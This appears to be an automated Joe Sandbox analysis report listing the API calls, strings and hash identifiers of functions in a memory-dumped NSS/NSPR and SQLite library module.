Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C990880
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,6C92204A), ref: 6C9908CB
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908D7
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908FB

TlsGetValue.KERNEL32 ref: 6C9E3A36
EnterCriticalSection.KERNEL32(0000001C), ref: 6C9E3A4E
PR_Unlock.NSS3(?), ref: 6C9E3A77
PR_SetError.NSS3(00000000,00000000), ref: 6C9E3A8F

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$calloc$ErrorLeave
String ID:
API String ID: 1642523270-0
Opcode ID: 562e17fe7b62fb406a661c8207b31b685a615196171e14e25dd40ca7218beb06
Instruction ID: 4ccfac78c0d83b9a794b5f62cff17ed2ddb701daee03cfed00f6cf56617dfcc4
Opcode Fuzzy Hash: 562e17fe7b62fb406a661c8207b31b685a615196171e14e25dd40ca7218beb06
Instruction Fuzzy Hash: 7A918B75E002199FDF01DF78D884AA9BBB8FF19318F089169EC15A7721E730E985CB91

Function 6C9EA9A0 Relevance: 21.2, APIs: 14, Instructions: 214COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C9EA9CA

Part of subcall function 6CA00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
Part of subcall function 6CA00FF0: PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016
Part of subcall function 6CA00FF0: PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,6CB00B04,?), ref: 6C9EA9F7

Part of subcall function 6C9FB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CAD18D0,?), ref: 6C9FB095

PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C9EAA0B
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C9EAA33
PK11_GetInternalKeySlot.NSS3 ref: 6C9EAA55
PK11_Authenticate.NSS3(00000000,00000001,?), ref: 6C9EAA69
PORT_FreeArena_Util.NSS3(00000001,00000001), ref: 6C9EAAD4
PK11_ListFixedKeysInSlot.NSS3(?,00000000,?), ref: 6C9EAB18
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C9EAB5A
PK11_FreeSymKey.NSS3(00000000), ref: 6C9EAB85
PK11_FreeSymKey.NSS3(00000000), ref: 6C9EAB99
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C9EABDC
PK11_FreeSymKey.NSS3(?), ref: 6C9EABE9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C9EABF7

Part of subcall function 6C9EAC10: PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C9EAB3E,?,?,?), ref: 6C9EAC35
Part of subcall function 6C9EAC10: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C9EAB3E,?,?,?), ref: 6C9EAC55
Part of subcall function 6C9EAC10: PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C9EAB3E,?,?), ref: 6C9EAC70
Part of subcall function 6C9EAC10: PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C9EAC92
Part of subcall function 6C9EAC10: PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9EAB3E), ref: 6C9EACD7

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: K11_$Util$Free$Arena_Item_$Zfree$ArenaContextSlot$Alloc_AuthenticateBlockCipherCreateDecodeDestroyErrorFixedInitInternalKeysListLockPoolQuickSizecalloc
String ID:
API String ID: 2602994911-0
Opcode ID: 361a92e77e7098eaf27d4d8d163fce4d8d9ba3cea1f564c90e2524672a3cf7bb
Instruction ID: 94c0be2997c41a619a74c88cabb92a84b33f981225fbcfd98eda802cc8ff0adc
Opcode Fuzzy Hash: 361a92e77e7098eaf27d4d8d163fce4d8d9ba3cea1f564c90e2524672a3cf7bb
Instruction Fuzzy Hash: FA710471A043019BD702DF24DC80B5BBBBAAFB8358F144A29F96497761FF31D9488792

Function 6C9C7D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6C9C7DDC

Part of subcall function 6CA007B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C9A8298,?,?,?,6C99FCE5,?), ref: 6CA007BF
Part of subcall function 6CA007B0: PL_HashTableLookup.NSS3(?,?), ref: 6CA007E6
Part of subcall function 6CA007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CA0081B
Part of subcall function 6CA007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CA00825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C9C7DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6C9C7F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6C9C7F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6C9C7F98
PK11_FreeSymKey.NSS3(?), ref: 6C9C7FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C9C7FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6C9C8000

Part of subcall function 6C9E9430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6C9C7F0C,?,00000000,00000000,00000000,?), ref: 6C9E943B
Part of subcall function 6C9E9430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6C9E946B
Part of subcall function 6C9E9430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6C9E9546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C9C8110
PK11_FreeSymKey.NSS3(00000000), ref: 6C9C811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C9C822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C9C823C

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: 9742c4cb704996548ed106deaf01de157370129af9088fe710642f2d8a17efbf
Instruction ID: 0d784db0b672c1ee6401576237f789b1d0409e8e2fed4ef94267cc782bd259b2
Opcode Fuzzy Hash: 9742c4cb704996548ed106deaf01de157370129af9088fe710642f2d8a17efbf
Instruction Fuzzy Hash: 8BC170B1E002599BEB21CF14CC44BEAB7B8AF19348F0085E5E91DA7651E731DE85CF92

Function 6C9D0EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C9D0F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C9D0FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C9D1006
PK11_FreeSymKey.NSS3(?), ref: 6C9D101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C9D1033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C9D103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C9D1048
memcpy.VCRUNTIME140(?,?,?), ref: 6C9D108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C9D10BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C9D10D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C9D112E

Part of subcall function 6C9D1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C9D08C4,?,?), ref: 6C9D15B8
Part of subcall function 6C9D1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C9D08C4,?,?), ref: 6C9D15C1
Part of subcall function 6C9D1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9D162E
Part of subcall function 6C9D1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9D1637

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: e20f0fb345c91f5223828d2c9674ebb48496bbf3de2321359cf907b07aaa895f
Instruction ID: 7d599da086cd0011f8ccaec37940467bb478a37cf96a1977d354b5af2092ad62
Opcode Fuzzy Hash: e20f0fb345c91f5223828d2c9674ebb48496bbf3de2321359cf907b07aaa895f
Instruction Fuzzy Hash: 8471E272A00605CFDB04CFA5CD80A6AB7F4FF49328F15C628E519A7711E731E994CB81

Function 6C9F1CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6C9F1F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6C9F2166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C9F228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C9F23B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C9F241C

Strings

token, xrefs: 6C9F1F2C
manufacturer, xrefs: 6C9F2179
serial, xrefs: 6C9F22A2
model, xrefs: 6C9F23CB, 6C9F23EC

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: 98ddfc638897de6a3a709498bf552ace727ecb38a0645001104bef9582efdc30
Instruction ID: d7ccea972ca100d8b11cf92dc69c6f2184a2652b6f95b7adf7b779080a6927a3
Opcode Fuzzy Hash: 98ddfc638897de6a3a709498bf552ace727ecb38a0645001104bef9582efdc30
Instruction Fuzzy Hash: 830213A2E0CBC85EF7358671C44C3D76EE8974632CF0C166ED5EE46683C3B8959A8391

Function 6C9F6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C9A1C6F,00000000,00000004,?,?), ref: 6C9F6C3F

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C9A1C6F,00000000,00000004,?,?), ref: 6C9F6C60
PR_ExplodeTime.NSS3(00000000,6C9A1C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C9A1C6F,00000000,00000004,?,?), ref: 6C9F6C94

Strings

gfff, xrefs: 6C9F6D66
gfff, xrefs: 6C9F6D9C
gfff, xrefs: 6C9F6D30
gfff, xrefs: 6C9F6CFD
gfff, xrefs: 6C9F6CF5

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: c6cfab8706e64396052764a6115eb04683edef871795c5230b84059bc9291418
Instruction ID: 0b50bd8f1e0b76f55d78922c1b0e8df1ebed5bb06ed797431686596a32c6d212
Opcode Fuzzy Hash: c6cfab8706e64396052764a6115eb04683edef871795c5230b84059bc9291418
Instruction Fuzzy Hash: BD514B72B016494FC70CCDADDC626DABBDAABA4310F48C23AE442DB781D678D907C751

Function 6CA70F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6CA71027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CA710B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA71353

Strings

%lld, xrefs: 6CA7114B
NULL, xrefs: 6CA7119E
'%.*q', xrefs: 6CA71217, 6CA71292
zeroblob(%d), xrefs: 6CA71223
-- , xrefs: 6CA70FF5
$, xrefs: 6CA712A0
%02x, xrefs: 6CA712F6

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: 32bf21e3ba6c62fb398b8859778dfa223ef5ece477b05456bdaf8be6ede8072b
Instruction ID: 246351e8775bfa5ad9bae4558890919850ec9845f119d2728f1507bdacc04708
Opcode Fuzzy Hash: 32bf21e3ba6c62fb398b8859778dfa223ef5ece477b05456bdaf8be6ede8072b
Instruction Fuzzy Hash: 58E1D5756083409FD724CF18C490A6BBBF1BF95348F08892DF69987B50E731E885CB92

Function 6CA78FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CA78FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA790DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA79118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA7915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA791C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA79209

Strings

UUUU, xrefs: 6CA79255
3333, xrefs: 6CA7925E

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 033a9a0380cfee9f4b7c765e04f188f865be031500602ccc8c8444159b819b08
Instruction ID: a18947a496a5bfdda851e0d3bc0045e3a25cb1822b3508e64f4f5f0fe9941620
Opcode Fuzzy Hash: 033a9a0380cfee9f4b7c765e04f188f865be031500602ccc8c8444159b819b08
Instruction Fuzzy Hash: D9A1BE76E001159BDB18CB68CD95BAEB7B5BF48324F0A4169E905B7341E736EC42CBE0

Function 6C930FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6C92CA30: EnterCriticalSection.KERNEL32(?,?,?,6C98F9C9,?,6C98F4DA,6C98F9C9,?,?,6C95369A), ref: 6C92CA7A
Part of subcall function 6C92CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C92CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6C93103E
EnterCriticalSection.KERNEL32(?), ref: 6C931139
LeaveCriticalSection.KERNEL32(?), ref: 6C931190
sqlite3_free.NSS3(00000000), ref: 6C931227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6C93126E
sqlite3_free.NSS3(?), ref: 6C93127F

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6C931267
winAccess, xrefs: 6C93129B

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: b247ddb2082faacd6708241fa5bdeb75fcba126f054c6657c503a9eeef63eb0e
Instruction ID: 5b19ba11b531474f2c30671f6fb584e3e208db996b4b7c1051d7784977adc48b
Opcode Fuzzy Hash: b247ddb2082faacd6708241fa5bdeb75fcba126f054c6657c503a9eeef63eb0e
Instruction Fuzzy Hash: AC714D357043219FEB089F64EC95BAA33B9FB57314F14522DF829876A0EB30D945CB92

Function 6C93AEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6CA5CF46,?,6C92CDBD,?,6CA5BF31,?,?,?,?,?,?,?), ref: 6C93B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CA5CF46,?,6C92CDBD,?,6CA5BF31), ref: 6C93B090
sqlite3_free.NSS3(?,?,?,?,?,?,6CA5CF46,?,6C92CDBD,?,6CA5BF31), ref: 6C93B0A2
CloseHandle.KERNEL32(?,?,6CA5CF46,?,6C92CDBD,?,6CA5BF31,?,?,?,?,?,?,?,?,?), ref: 6C93B100
sqlite3_free.NSS3(?,?,00000002,?,6CA5CF46,?,6C92CDBD,?,6CA5BF31,?,?,?,?,?,?,?), ref: 6C93B115
sqlite3_free.NSS3(?,?,?,?,?,?,6CA5CF46,?,6C92CDBD,?,6CA5BF31), ref: 6C93B12D

Part of subcall function 6C929EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C93C6FD,?,?,?,?,6C98F965,00000000), ref: 6C929F0E
Part of subcall function 6C929EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C98F965,00000000), ref: 6C929F5D

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 169029e96d58ef51b0cde886aa8daab7f76e88b909f959376c0ba5afd6215a8d
Instruction ID: fd9d343cfa02a2a526a9f04a76b779e9c562c40ef1b552e9f2bb17daeb0c0cd7
Opcode Fuzzy Hash: 169029e96d58ef51b0cde886aa8daab7f76e88b909f959376c0ba5afd6215a8d
Instruction Fuzzy Hash: EE913FB0B006168FDB18CFA5DC80B6BB7B6FF55308F18562DE41A97A50EB34E894CB51

Function 6CA0BD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CA0BD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CA0BD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CA0BD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CA0BD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6CA0BDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6CA0BDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6CA0BDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6CA0BE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6CA0BE1E

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: 56479b3e214a2522a87e7d17bbeeb462167ab753ccea24db9fed01bce8d4e5f0
Instruction ID: 942ad9238cc815ed2add7584c44dd15f581af251e388f58254cce5139b01b2df
Opcode Fuzzy Hash: 56479b3e214a2522a87e7d17bbeeb462167ab753ccea24db9fed01bce8d4e5f0
Instruction Fuzzy Hash: 3421F776F0068957FB004A93BE47F8B72749B91BCDF0C0224F926EE681F3509458C2A1

Function 6CAB8D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CB014E4,6CA6CC70), ref: 6CAB8D47
PR_GetCurrentThread.NSS3 ref: 6CAB8D98

Part of subcall function 6C990F00: PR_GetPageSize.NSS3(6C990936,FFFFE8AE,?,6C9216B7,00000000,?,6C990936,00000000,?,6C92204A), ref: 6C990F1B
Part of subcall function 6C990F00: PR_NewLogModule.NSS3(clock,6C990936,FFFFE8AE,?,6C9216B7,00000000,?,6C990936,00000000,?,6C92204A), ref: 6C990F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6CAB8E7B
htons.WSOCK32(?), ref: 6CAB8EDB
PR_GetCurrentThread.NSS3 ref: 6CAB8F99
PR_GetCurrentThread.NSS3 ref: 6CAB910A

Strings

%u.%u.%u.%u, xrefs: 6CAB8E74

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

